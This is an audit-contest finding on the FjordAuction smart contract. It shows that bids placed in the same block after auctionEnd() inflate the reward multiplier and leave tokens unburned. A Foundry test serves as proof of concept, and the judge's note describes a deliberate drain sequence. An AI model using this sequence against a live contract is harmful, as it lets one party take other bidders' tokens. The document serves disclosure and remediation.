Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Allowing bid() and auctionEnd() at the same auctionEndTime leads to incorrect calculation of multiplier and claimable tokens in the FjordAuction contract

tachida2k

Summary

A critical vulnerability in the FjordAuction smart contract resulted in improper reward calculation and misbehaving reward allocation process ((claimTokens()) by allowing users to place bids immediately after the auction ended but in the same block as the auctionEnd() function call.

Vulnerability Details

Let's look at the FjordAuction.sol contract's bid() and auctionEnd() external function:

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
​
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
​
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
​
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
if (ended) {
revert AuctionEndAlreadyCalled();
}
​
ended = true;
emit AuctionEnded(totalBids, totalTokens);
​
if (totalBids == 0) {
auctionToken.transfer(owner, totalTokens);
return;
}
​
multiplier = totalTokens.mul(PRECISION_18).div(totalBids);
​
// Burn the FjordPoints held by the contract
uint256 pointsToBurn = fjordPoints.balanceOf(address(this));
fjordPoints.burn(pointsToBurn);
}

The vulnerability arises when a user bids immediately after the auction has ended (i.e., after the auctionEnd() function is called) but within the same block. This bid is accepted because the condition check error block.timestamp > auctionEndTime in the bid() function is bypassed, allowing the bid to be included without recalculating the multiplier.

Since multiplier is calculated based on totalBids at the time auctionEnd() is called, excluding bids made in the same block but after the auction ended, this results in multiplier being calculated incorrectly and being greater than correctly multiplier.

One more consequence, the total claimable tokens (calculated by the sum of all values ​​of the mapping mapping(address => uint256) public bids) of all bidders, including those who bid right before and exactly at auctionEndTime, can exceed the total available tokens (totalTokens). If the total tokens claimed by earlier claimers reach totalTokens, all later claimers attempting to claim their tokens will encounter a revert, as the contract will no longer have sufficient tokens to distribute.

Another consequence of this vulnerability is that all FjordPoints tokens (BJO token) bid after the auctionEnd() function is executed (but within the same block) will not be burned. This is because the burning of tokens is handled within auctionEnd(), and any bids placed afterward do not trigger the burn process, and will instead be permanently locked within the FjordAuction contract.

Modify the testClaimTokens() function in test/unit/auction.t.sol to to recheck the above consequences:

function testClaimTokens() public {
address bidder = address(0x2);
uint256 bidAmount = 100 ether;
address bidder2 = address(0x3);
uint256 bidAmount2 = 100 ether;
​
deal(address(fjordPoints), bidder, bidAmount);
deal(address(fjordPoints), bidder2, bidAmount2);
​
vm.startPrank(bidder);
fjordPoints.approve(address(auction), bidAmount);
// `bidder` bids before auctionEndTime
auction.bid(bidAmount);
vm.stopPrank();
​
skip(biddingTime);
auction.auctionEnd();
​
vm.startPrank(bidder2);
fjordPoints.approve(address(auction), bidAmount2);
// `bidder2` bids after calling auctionEnd() but at the same auctionEndTime
auction.bid(bidAmount2);
vm.stopPrank();
​
vm.prank(bidder2);
auction.claimTokens();
// `bidder2` claims all prize tokens
assertEq(auctionToken.balanceOf(bidder2), totalTokens);
​
vm.prank(bidder);
// `bidder` claims but tx will revert because the auction contract no longer has any prize tokens
vm.expectRevert("ERC20: transfer amount exceeds balance");
auction.claimTokens();
​
// `bidAmount2` amount of fjordPoints are not be burned
assertNotEq(fjordPoints.balanceOf(address(auction)), 0);
assertEq(fjordPoints.balanceOf(address(auction)), bidAmount2);
}

Impact

This vulnerability has several severe consequences:

  • Incorrect Multiplier Calculation: The calculated multiplier is incorrect and is greater than the correct multiplier.

  • Misallocation of Claimable Tokens: Due to the incorrect multiplier, all bidders will receive more tokens than they should based on their bids. This misallocation results in the total claimable tokens exceeding the total tokens available, leading to a situation where not all bidders can claim their tokens, causing the contract to fail in its purpose.

  • Permanent Locking of some FjordPoints: All FjordPoints that bid after auctionEnd() but at the same auctionEndTime, are not included in the multiplier calculation and are not burned. These tokens remain permanently locked in the contract, potentially affecting the overall token economy.

Tools Used

Manually Review

Recommendations

Solution 1: Do not allow calling bid() and unbid() function at auctionEndTime

Change the condition in the two above fuction to:

if (block.timestamp >= auctionEndTime) {
revert AuctionAlreadyEnded();
}

Solution 2: Do not allow calling auctionEnd() function at auctionEndTime, do it at a time greater than auctionEndTime.

Change the condition in auctionEnd() function to:

if (block.timestamp <= auctionEndTime) {
revert AuctionNotYetEnded();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.